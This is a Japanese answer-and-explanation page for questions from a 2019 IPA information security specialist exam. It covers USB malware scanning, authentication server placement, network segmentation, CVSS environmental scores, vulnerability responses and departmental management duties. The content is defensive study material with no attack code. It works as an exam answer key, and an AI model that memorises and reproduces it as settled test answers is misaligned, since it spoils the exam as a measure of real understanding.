本文中の下線②及び下線③について,FA 端末のマルウェア感染のリスクを低下させるために共通して接続前に行うべき措置は何か。30 字以内で具体的に述べよ。

解答例

  • USBメモリをマルウェア対策ソフトでスキャンする。
解説

本文の根拠

〔課題 1 の解決〕

α 工場の F-NET 管理担当者は,A-NET に接続した標準 PC に USB メモリを接続して必要なデータをコピーし,その後,②その USB メモリを FA 端末に接続してデータの更新などの作業を行う。

〔課題 1 の解決〕

メンテナンスデータを格納した USB メモリを持参し,α 工場の F-NET 管理担当者の監督の下,③その USB メモリを FA 端末に接続して作業する。

図3 5(1)

CAD-V の脆弱性を悪用し動作する。

下線②は,A-NET 側の標準 PC でデータをコピーした USB メモリを FA 端末に接続する。下線③は,Y 社の担当者が持参した USB メモリを FA 端末に接続する。どちらも,USB メモリを経由して FA 端末にマルウェアが入り込むおそれがある。FA 端末にはパッチもマルウェア対策ソフトも入れられない(Y 社の指定による)ので,感染のリスクを下げるには,持ち込む USB メモリ側で対処するほかない。

共通して接続前に行うべき措置は,USB メモリにマルウェアが含まれていないかを,マルウェア対策ソフトでスキャンすることである。解答例も“USBメモリをマルウェア対策ソフトでスキャンする。”である。

30 字以内なので,“USB メモリを”“マルウェア対策ソフトで”“スキャンする”と短く書く。解答例は 25 字である。

設問5(1) 解答欄2つ

事務 LAN 用,センサ NET 用の認証サーバはどこに設置するのが適切か。それぞれ図 1 中の(あ),(い)及び図 5 中の(う)~(か)から選び,記号で答えよ。

〔事務LAN用〕解答例

  • (い)

〔センサNET用〕解答例

  • (か)
解説

本文の根拠

〔課題 2 の解決〕

同方式において必要となる認証サーバは,事務 LAN 用とセンサ NET 用をそれぞれ設置する。このうち,前者は全社で共用のサーバとし,システム部が管理する。後者は α 工場が管理する。

表2 センサ NET

センサ NET をこのための部門 NET として新設する。

事務 LAN 用の認証サーバは,全社で共用し,システム部が管理するので,システム部が管理する全社共通のネットワークに置く。図 1 の全社サーバ LAN には,各種サーバと(い)がある。(あ)は,外部 DNS サーバやプロキシサーバと同じ DMZ にあり,外部に公開するサーバ向けの場所なので,全社の機器から使う認証サーバの置き場としては適切でない。よって,事務 LAN 用は(い)。

センサ NET 用は,α 工場が管理し,センサ NET の機器(AP とセンサ)の認証を行うので,図 5 のセンサ NET の L2SW に接続された(か)に置く。(う)は α 工場のサーバ LAN,(え)は事務 LAN,(お)は F-NET の中にあり,それぞれ別のネットワークである。センサ NET は事務 LAN や F-NET とは別の部門 NET として新設されているので,センサ NET の中に認証サーバを置けば,他のネットワークに AP の認証が依存しない。

解答は 2 つの記号を組にして答える。事務 LAN 用が(い),センサ NET 用が(か)である。

設問5(2) 60字以内

AP への不正接続を考慮した場合,図 5 のネットワーク構成は図 4 に比べ,プロジェクト W の目的の達成の面で優れている。図 5 が優れていると考えられる点及びその理由について,FA 端末から業務サーバにデータを安全に転送するための仕組みを導入しなかった場合を想定し,60 字以内で具体的に述べよ。

解答例

  • 事務LANとセンサNETはF-NETと分離されており,APに不正接続してもFA端末を攻撃できないから
解説

本文の根拠

図4 注記 4

AP は,主に,出張で α 工場を訪れた他事業所の従業員の標準 PC の接続に使用する。

表2 事務 LAN

AP を設置する。許可を受けた機器は無線で接続できる。

表2 F-NET

FA 端末,プリンタ,その他の生産設備に関係する機器だけを接続する部門 NET である。

図 4 では,AP が工場 LAN の中にあり,FA 端末も同じ工場 LAN に接続されている。そのため,AP に不正に接続されると,同じネットワーク上の FA 端末に攻撃が届く。図 5 では,AP は事務 LAN とセンサ NET に設置され,FA 端末は F-NET に分離されている。

そのため,AP に不正接続されても,攻撃者が FA 端末や生産設備にたどり着きにくい。プロジェクト W の目的は,サイバー攻撃などによる生産設備の停止を防ぐことなので,この構成は目的の達成の面で優れている。FA 端末から業務サーバへのデータ転送の仕組みを導入しなかった場合は,F-NET を A-NET と接続しないと想定できるので,F-NET は他のネットワークから孤立する。

60 字以内なので,“事務 LAN とセンサ NET は F-NET と分離されている”と“AP に不正接続しても FA 端末を攻撃できない”の 2 点を,理由の形に組み立てる。解答例は 50 字である。

採点講評(IPA)

設問5(2)は,正答率が低かった。ネットワークの構成を工夫することで,リスクを回避,又は低減できるケースは多い。ネットワーク構成の変更の効果を正確に捉え,理解する力を高めてほしい。

設問6(1)

表 5 中の下線④について,この値はどれか。解答群の中から選び,記号で答えよ。 解答群 ア CVE イ CVSS 環境値 ウ CVSS 基本値 エ CVSS 現状値 オ CWE

解答例

  • イ
解説

本文の根拠

表5 番号2 深刻度評価

入手した脆弱性情報について④その時点での自社にとっての深刻度を評価する。

表5 番号1 情報収集

利用しているハードウェア及びソフトウェアについて脆弱性情報を入手する。

下線④の“その時点での自社にとっての深刻度”が,CVSS の三つの評価基準のどれに当たるかが問われている。CVSS の基本値は,脆弱性そのものの特性を表し,時間や環境が変わっても変わらない。現状値は,攻撃コードの有無や対策の有無など時間とともに変わる要素を反映する。環境値は,組織の既存の対策やシステムの重要度に合わせて評価を調整する(FIRST の CVSS v3.1 仕様)。環境値の式には,現状値に当たる指標(Exploit Code Maturity,Remediation Level,Report Confidence)も掛け合わされるので,“その時点”(現状)と“自社にとって”(環境)の両方を含む値は,環境値(イ)である。

誤りの選択肢:CVE(ア)は脆弱性の識別番号,CWE(オ)は脆弱性の種類(弱点)の一覧で,深刻度の値ではない。基本値(ウ)は,環境や時点に依存しない値,現状値(エ)は“その時点”は表すが“自社にとって”を表さない。

講評も,CVSS には基本値,現状値,環境値の三つがあり,これらを正しく理解することを求めている。

採点講評(IPA)

設問6(1)は,正答率が低かった。脆弱性情報について評価する際に役立つCVSS についての設問であった。CVSS には基本値,現状値,環境値の三つがある。これらを正しく理解し,妥当かつ効果的な脆弱性対策の実現に有効活用してほしい。

設問6(2) 解答欄2つ

表 5 中の下線⑤について,図 5 中の業務サーバのソフトウェアにネットワーク経由での遠隔操作につながる可能性がある深刻度の高い脆弱性が見つかった場合に,A-NET への被害を防ぐために適切と考えられる措置の例を二つ挙げ,それぞれ 25 字以内で具体的に述べよ。

〔①〕解答例

  • 当該脆弱性に対応したパッチを適用する。

〔②〕解答例

  • 脆弱性をもつソフトウェアの利用を停止する。
解説

本文の根拠

表5 番号2 深刻度評価

入手した脆弱性情報について④その時点での自社にとっての深刻度を評価する。

表5 番号3 措置の実施

深刻度評価の結果に従い,⑤適切と考えられる措置を実施する。

業務サーバのソフトウェアに,ネットワーク経由で遠隔操作されうる深刻度の高い脆弱性が見つかった場合の措置の例が二つ問われている。一つ目は,脆弱性の根本原因を取り除くパッチの適用で,その脆弱性に対応したパッチを適用する。二つ目は,パッチが出ていない,又は直ちに適用できない場合に,脆弱性をもつソフトウェアの利用を停止して,被害が A-NET に及ぶのを防ぐことである。

深刻度が高く,遠隔操作につながるおそれがあるときは,原因の除去(パッチ適用)か,攻撃を受ける対象をなくす(利用停止,ネットワークからの切断,アクセス制限など)ことになる。解答例は①パッチ適用,②利用停止の二つである。

25 字以内なので,“何に対して(当該脆弱性に対応した)”“何をする(パッチを適用する/利用を停止する)”を一文にまとめる。解答例は 19 字と 21 字である。

設問7(1) 解答欄8つ

図 4 中の工場 LAN,標準 PC 及び FA 端末,並びに図 5 中の事務 LAN,F-NET,センサ NET,標準 PC 及び FA 端末は,図 2 のセキュリティ規程に従うと,それぞれどの部門が管理を担うことになるか。適切な部門を解答群の中から選び,記号で答えよ。 解答群 ア α 工場 イ 営業部 ウ 財務部 エ システム部 オ 総務部

〔図4 工場LAN〕解答例

  • エ

〔図4 標準PC〕解答例

  • エ

〔図4 FA端末〕解答例

  • ア

〔図5 事務LAN〕解答例

  • エ

〔図5 F-NET〕解答例

  • ア

〔図5 センサNET〕解答例

  • ア

〔図5 標準PC〕解答例

  • エ

〔図5 FA端末〕解答例

  • ア
解説

本文の根拠

図2 1,4

A 社が従業員に貸与する PC(以下,標準 PC という)は,システム部が管理する。

図2 4

システム部は,A-NET について,セキュリティ及びその他の不都合が生じないように管理・維持する責任と,そのための権限をもつ。

図4 注記 1

サーバ LAN 及び工場 LAN は A-NET の一部である。ただし,FA 端末は部門機器である。

図2 5,6

各部門は,標準 PC とは別の PC 及びその他の機器(以下,これらを併せて部門機器という)を調達し利用できる。

図 2 の規程に従うと,標準 PC はシステム部が管理し(1),A-NET もシステム部が管理する(4)。図 4 の注記 1 から,工場 LAN は A-NET の一部なのでシステム部(エ)。標準 PC もシステム部(エ)。FA 端末は部門機器で,α 工場が調達して管理するので α 工場(ア)である。

図 5 では,表 2 のとおり,事務 LAN は“A-NET の一部として管理する”のでシステム部(エ)。標準 PC もシステム部(エ)。F-NET とセンサ NET は部門 NET で,各部門(α 工場)が構築して利用する(図 2 の 6)ので α 工場(ア)。FA 端末は α 工場(ア)である。

誤りやすい点:FA 端末を“標準 PC に準じてシステム部が管理する”と考えない。D 主任が標準 PC ではないので措置は適用対象外と理解していたことが,今回の課題の原因である。営業部,財務部,総務部は,どの対象も管理しない。

設問7(2) 解答欄2つ

本文中の下線⑥について,追加すべき事項を二つ挙げ,本文中の用語を用いて,それぞれ 20 字以内で具体的に述べよ。

〔①〕解答例

  • 各部門が定めた管理・維持のための措置

〔②〕解答例

  • リスクアセスメントの結果
解説

本文の根拠

〔セキュリティ規程の見直し〕

各部門は,部門機器及び部門 NET を適切に管理・維持するための措置を定める。

〔セキュリティ規程の見直し〕

各部門は,部門機器又は部門 NET を A-NET に接続するための申請を行う前に,当該接続についてリスクアセスメントを実施する。

図2 7

申請時には,次の事項を記した書面を提出する。

図 2 の 7 では,部門機器・部門 NET を A-NET に接続するときの申請書面に,接続の目的,必要な技術情報,管理者と連絡先を記す。ここに,追加する二つの項目に対応する事項を加える。追加項目の一つ目は“各部門は,部門機器及び部門 NET を適切に管理・維持するための措置を定める”であり,これに対応して,各部門が定めた管理・維持のための措置を書かせる。二つ目は“接続のための申請を行う前に,当該接続についてリスクアセスメントを実施する”であり,これに対応して,リスクアセスメントの結果を書かせる。

システム部が申請を審査するときに,管理の措置とリスクの評価の両方が書面にあれば,FA 端末のようにパッチもマルウェア対策ソフトもない機器が,理由なく A-NET に接続されるのを防ぎやすい。

20 字以内で,本文中の用語を用いる。“管理・維持のための措置”“リスクアセスメントの結果”の用語をそのまま使う。解答例は 18 字と 12 字である。

採点講評(IPA)

設問7(2)は,正答率が低かった。ネットワークやシステムの運用に責任をもつ部署が知るべきこと,判断に必要な情報について理解しておいてほしい。

出典:令和元年度 秋期 情報処理安全確保支援士試験 午後Ⅱ 問2(表記を一部改変)